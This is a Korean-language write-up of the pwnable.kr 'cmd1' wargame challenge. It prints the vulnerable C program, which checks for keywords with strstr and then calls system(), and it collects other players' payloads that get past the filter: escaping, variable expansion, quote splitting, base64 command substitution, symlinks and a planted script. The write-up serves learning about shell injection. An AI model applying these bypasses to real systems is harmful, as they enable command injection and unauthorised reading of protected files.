int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
setregid(getegid(), getegid());
system( argv[1] );
return 0;
}
system 함수의 인자를 입력받고, filter 함수에서 문자열 몇 개를 필터링한다.
근데 cat 필터링 안하고 *도 필터링 안해서 그냥 /bin/cat * 넣어주면 flag까지 다 뽑힌다
PATH_environment?_Now_I_really_g3t_it,_mommy!
이대로 넘어가기에는 필터링 방법은 많이 알수록 좋을 거 같아서
다른 사람들의 writeup을 정리해보자 (pwnable.kr에 올린거)
./cmd1 "/bin/cat f\lag"
이건 strstr 함수라서 가능한 우회법인 것 같다.
단순히 c 문자열 내부에서 "flag" 라는 글자가 연속으로 나타나는지 확인하기 때문에 백슬래시, escape 처리는 전혀 이루어지지 않는다.
shell에서의 \ 는 다음 글자를 있는 그대로(literal) 사용하라” 는 escape 지시자로, 특수 문자 앞에 써서 그걸 문자 처리하는 특수 문자이다.
근데 이건 "의 성질에 의해 리터럴로 해석이 안된다. " 안에 있는 \는 뒤에 특수한 문자의 경우에만 escape 문자로 해석하고 그 외에는 그냥 일반 문자 \로 해석하게 된다.
이러한 성질 때문에 2개 \ 를 중간에 적어도 우회가 되던데, 이는 interactive shell인 터미널의 존재 때문인 것 같다. 일단 system 함수가 shell을 실행하는 것은 당연하지만, 터미널에서 stdin으로부터 명령을 읽을 때도 하나의 쉘으로 동작하는 터미널에서 \ 하나를 escape 처리해서 프로그램 내에서는 fl\ag 형식으로 전달되는 것이다. 왜냐면 \ 뒤에 특수 문자 \가 왔으니 첫\는 escape문자로 해석되어 \를 하나썻을 때와 똑같이 \ = \ 리터럴 문자 하나로 취급되어 argv[1]로 들어가는 것은 똑같다.
그리고 프로세스 내부에서 system 함수 호출 시 \a는 위와 같은 이유로 리터럴 문자를 리터럴 문자로 변환하는 것이기에 의미가 없는 것이고, strstr 필터링을 우회하되 터미널에 flag 문자열을 온전히 전달할 수 있는 것이다.
./cmd1 "a=ag;a=fl\$a;/bin/cat /home/cmd1/\$a"
\$ 기호는 $ 자체를 인자로 전달하라는 소리인데, 터미널에 의해 일차적으로 걸러진, cmd1 프로세스에 system 함수에 전달되는 문자열은
a=ag;a-fl$a;/bin/cat /home/cmd1/$a 와 같다.
필터링은 일단 전부 통과할것이고, $를 이용해 a를 ag로 확장하여 최종적으로는 a = flag가 되어
/bin/cat /home/cmd1/flag 가 되어 flag가 출력되는 것이다.
이는 cmd창에 ; 을 통해서 명령을 여러 번 나누어 보낼 수 있다는 점과 변수 확장을 이용한 것이다.
./cmd1 "/bin/more *"
한 번에 출력하는 cat과는 다르게 more은 페이지처럼 엔터나 방향키로 넘겨가면서 볼 수 있도록 출력해주는 프로그램인거같다. cat만 막는 필터링이 있으면 이거 좀 유용할듯
./cmd1 "/bin/grep . *"
.은 개행 문자를 제외한 임의의 한 문자라는 의미이기 때문에 각 파일을 줄 단위로 읽어서 줄 안에 한 글자라도 읽어 그 줄을 출력하게 되어, 결과적으로 빈 줄을 제외한 모든 줄을 보여주게 된다.
mkdir /tmp/99991111
cd /tmp/99991111
ln -s /home/cmd1/flag ./symlink_file
/home/cmd1/cmd1 '/bin/cat ./symlink_file'
심볼릭 링크를 이용한 방법이다.
flag 파일에 대한 심볼릭 링크를 걸어두고 필터링을 전부 우회할 수 있게 해두었다. 천잰듯?
./cmd1 '/bin/cat fl""ag'
요거는 ''과 ""를 동시에 사용한 것 같다.
shell에서 작은 따옴포 '는 내부의 모든 문자를 리터럴 취급한다. $, \같은 특수 문자들을 전부 무시하고, 동일한 작은 따옴표가 나올 때 까지 전부다 리터럴 취급을 하기 때문에 그대로 들어간다.
반대로 "는 일부 특수 문자들은 리터럴 취급안한다.
결국 최종적으로 shell에서는 fl""ag로 들어가게 되고 중간의 ""는 빈 문자열 취급이라 삭제된다.
./cmd1 '/bin/cat $(echo "ZmxhZwo=" | /usr/bin/base64 -d)'
똑같이 특수 문자들을 전부 ''를 이용하여 넘겨주고, system의 인자로 정확히
$(echo "ZmxhZwo=" | /usr/bin/base64 -d)
를 넘겨준다. shell안에서는 base64 decoding을 통해서 flag\n을 출력하게 하여 최종적으로는 flag 문자열을 쓰진 않았지만 똑같이 flag의 의미를 갖게 된다. 메타문자 필터링 풀면 얼마나 많은 짓이 가능한 것인지 무서워지기 시작했다
echo /bin/cat /home/cmd1/flag > /var/lib/php/sessions/asd
chmod +x /var/lib/php/sessions/asd
요거는 cat 파일로 flag를 필터링이 없는 일반 터미널에서 호출할 수 있는 명령어를 다른 파일에 저장하고, 실행할 수 있는 권한을 부여한 후 쓰기 권한이 있는 다른 디렉토리에 저장했다.
이후 setuid 프로그램인 cmd1로 그 프로그램을 실행만 하면 된다. 창의적인 사람들이 많은 것 같다.
./cmd1 "/bin/c'''a'''t f'''l'''a'''g'''"
''는 빈 문자열, 'a'는 문자, ' '는 빈 문자열...
이런 식으로 만든 것이다.
근데 그냥 fl'a'g정도로만 해도 된다...
일단 strstr로 필터링하는건 문제가 많아보인다.
